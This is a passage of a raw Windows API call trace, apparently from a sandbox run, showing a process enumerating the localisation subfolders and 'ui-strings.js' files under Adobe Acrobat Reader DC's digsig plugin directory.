(in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0250.202] GetProcessHeap () returned 0xc10000 [0250.202] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.202] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0250.202] GetProcessHeap () returned 0xc10000 [0250.202] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.202] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.202] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2747, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.203] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2747, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.203] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.203] GetProcessHeap () returned 0xc10000 [0250.203] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.203] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0250.203] GetProcessHeap () returned 0xc10000 [0250.203] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.203] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.204] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.204] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.205] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.205] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.205] GetProcessHeap () returned 0xc10000 [0250.205] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.205] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0250.205] GetProcessHeap () returned 0xc10000 [0250.205] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.206] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.207] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2666, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.207] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2666, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.207] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.207] GetProcessHeap () returned 0xc10000 [0250.207] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.207] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0250.207] GetProcessHeap () returned 0xc10000 [0250.207] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.209] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.209] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.209] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.209] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.209] GetProcessHeap () returned 0xc10000 [0250.209] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.209] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0250.209] GetProcessHeap () returned 0xc10000 [0250.209] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.210] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.210] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.211] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2aeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.211] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.211] GetProcessHeap () returned 0xc10000 [0250.211] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.211] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0250.211] GetProcessHeap () returned 0xc10000 [0250.211] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.212] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.212] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.212] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.212] GetProcessHeap () returned 0xc10000 [0250.212] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.212] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0250.212] GetProcessHeap () returned 0xc10000 [0250.212] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0250.213] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.213] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.213] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x25fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.213] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0250.214] GetProcessHeap () returned 0xc10000 [0250.214] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.214] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0250.214] GetProcessHeap () returned 0xc10000 [0250.214] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0250.215] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.216] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x298d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.216] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x298d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.216] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0250.216] GetProcessHeap () returned 0xc10000 [0250.216] HeapFree (in: hHeap=0xc10000, 